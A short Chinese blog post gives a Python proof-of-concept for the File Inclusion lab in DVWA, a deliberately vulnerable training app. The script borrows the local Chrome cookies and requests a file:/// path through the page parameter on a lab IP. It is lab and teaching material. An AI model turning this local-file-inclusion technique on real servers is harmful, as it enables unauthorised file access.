POC——DVWA‘s File Inclusion

最新推荐文章于 2024-05-13 15:31:28 发布

wavesky111

最新推荐文章于 2024-05-13 15:31:28 发布

阅读量155

点赞数

分类专栏： POC 文章标签：安全 web安全

本文链接：https://blog.csdn.net/weixin_45260839/article/details/125360634

版权

文件包含漏洞 POC GET请求服务器利用文件上传

关键词由CSDN通过智能技术生成

POC 专栏收录该内容

11 篇文章 0 订阅

订阅专栏

文件包含漏洞的验证POC比较简单，仅需get访问即可。不过有一个前提——已经把将要利用的文件传入对方服务器内，且明确利用的文件所在位置~

import requests
import browser_cookie3

cookie = browser_cookie3.chrome()
url = r"http://192.168.117.130/DVWA-1.9/vulnerabilities/fi/?page=file:///C:\Users\wavesky\Desktop/1.txt"
response = requests.get(url=url,cookies=cookie)

re = 'PHP Version'
flag=re in str(response.content)

if flag:
    print("It looks likely vulnerable")
else:
    print("It is strong")

三个Level均可，直接下一个~